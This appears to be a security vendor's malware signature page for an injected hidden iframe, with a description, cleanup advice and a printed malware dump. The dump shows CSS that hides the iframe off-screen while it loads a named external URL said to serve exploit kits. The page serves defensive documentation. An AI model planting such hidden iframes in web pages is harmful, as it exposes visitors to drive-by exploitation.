mwjs-iframe-injected509

Description: A Remote and malicious iframe was identified. It uses CSS to hide the iframe from anyone visiting the site.

This is a very common malware infecting thousands of sites (Aug 2012). Some of the domains being used:

http://wielerclinics.nl/32864443.html

Those links lead to multiple exploit kits affecting desktop (Windows) users.

Affecting: Any web site (no specific target).

Clean up: Malware is hidden at the index.php or index.html files.

Malware dump:

<br /> <style>.ivx4di91j1 { position:absolute; left:-1418px; top:-1348px} </style> </p> <div class="ivx4di91j1"><iframe src="<a href="http://wielerclinics.nl/32864443.html"><a href="http://wielerclinics.nl/32864443.html"><a href="http://wielerclinics.nl/32864443.html"><a href="http://wielerclinics.nl/32864443.html"><a href="http://wielerclinics.nl/32864443.html"><a href="http://wielerclinics.nl/32864443.html"><a href="http://wielerclinics.nl/32864443.html"><a href="http://wielerclinics.nl/32864443.html">http://wielerclinics.nl/32864443.html</a></a></a></a></a></a></a></a>..</p> <p></code></p> </div><!-- .entry-content --> <footer class="entry-footer wedocs-entry-footer"> <div class="wedocs-article-author" itemprop="author" itemscope itemtype="https://schema.org/Person"> <meta itemprop="name" content="Rodrigo Escobar" /> <meta itemprop="url" content="https://labs.sucuri.net/author/rodrigo-escobar/" /> </div> <meta itemprop="datePublished" content="2019-05-16T00:00:00+00:00"/> <time itemprop="dateModified" datetime=""></time> </footer> <nav class="wedocs-doc-nav wedocs-hide-print"><h3 class="assistive-text screen-reader-text">Doc navigation</h3><span class="nav-prev"><a href="https://labs.sucuri.net/signatures/sitecheck/mwjs-iframe-injected515/">← mwjs-iframe-injected515</a></span><span class="nav-next"><a href="https://labs.sucuri.net/signatures/sitecheck/mwjs-iframe-injected501/">mwjs-iframe-injected501 →</a></span></nav> </article><!-- #post-## --> </div><!-- .wedocs-single-content --> </div><!-- .wedocs-single-wrap --> </main><!-- .site-main --></div><!-- .content-area --> </div><!-- #content --> <footer id="n-footer"> <div id="mp-footer" class="container"> <div class="row"> <div class="c-lg-12"> <div class="row"> <div class="c-lg-3 c-md-3 px-50"> <div class="footer-products"> <div class="footer-heading"> <p>Products</p> </div> <div class="footer-menu"> <ul class="list-block list-unstyled"> <li class="list-block-item"><a class="mp-ft-prod-wf auto-track" data-gatrack="Button_Click, Footer_Website_Firewall" href="https://sucuri.net/website-firewall/">Website Firewall</a></li> <li class="list-block-item"><a class="mp-ft-prod-av auto-track" data-gatrack="Button_Click, Footer_Website_Antivirus" href="https://sucuri.net/website-security-platform/">Website Security Platform</a></li> <li class="list-block-item"><a class="mp-ft-prod-bp auto-track" data-gatrack="Button_Click, Footer_Website_Backups" href="https://sucuri.net/website-backups/">Website Backups</a></li> <li class="list-block-item"><a class="mp-ft-prod-wps auto-track" data-gatrack="Button_Click, Footer_WordPress_Security" href="https://sucuri.net/wordpress-security/">WordPress Security</a></li> <li class="list-block-item"><a class="mp-ft-prod-ent auto-track" data-gatrack="Button_Click, Footer_Enterprise_Services" href="https://sucuri.net/custom/enterprise/">Enterprise Services</a></li> <li class="list-block-item"><a class="mp-ft-prod-ent auto-track d-none" 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Footer_Malware_Prevention" href="https://sucuri.net/website-hack-protection/">Malware Prevention</a></li> <li class="list-block-item"><a class="mp-ft-sol-blacklist auto-track" data-gatrack="Button_Click, Footer_Blacklist-Removal" href="https://sucuri.net/website-security-platform/blocklist-removal-and-repair/">Blacklist Removal</a></li> </ul> </div> </div> </div> <div class="c-lg-3 c-md-3 px-50"> <div class="footer-support"> <div class="footer-heading"> <p>Support</p> </div> <div class="footer-menu"> <ul class="list-block list-unstyled"> <li class="list-block-item"><a class="mp-ft-sup-kb auto-track" data-gatrack="Button_Click, Footer_Knowledge_Base" href="https://docs.sucuri.net/">Knowledge Base</a></li> <li class="list-block-item"><a class="mp-ft-sup-sc auto-track" data-gatrack="Button_Click, Footer_Sitecheck" href="https://sitecheck.sucuri.net/">SiteCheck</a></li> <li class="list-block-item"><a class="mp-ft-sup-lab auto-track" data-gatrack="Button_Click, Footer_Research_Labs" href="https://labs.sucuri.net/">Research Labs</a></li> <li class="list-block-item"><a class="mp-ft-sup-rep auto-track" data-gatrack="Button_Click, Footer_Report_Abuse" href="https://abuse.sucuri.net/">Report Abuse</a></li> <li class="list-block-item"><a class="mp-ft-sup-stat auto-track" data-gatrack="Button_Click, Footer_Report_Status" href="https://status.sucuri.net/">Status Report</a></li> </ul> </div> </div> </div> <div class="c-lg-3 c-md-3 px-50"> <div class="footer-support"> <div class="footer-heading"> <p>Company</p> </div> <div class="footer-menu"> <ul class="list-block list-unstyled"> <li class="list-block-item"><a class="mp-ft-comp-about auto-track" data-gatrack="Button_Click, Footer_About" href="https://sucuri.net/company/">About Sucuri</a></li> <li class="list-block-item"><a class="mp-ft-comp-contact auto-track" data-gatrack="Button_Click, Footer_Website_Firewall" href="https://sucuri.net/company/contact-us/">Contact</a></li> <li class="list-block-item"><a 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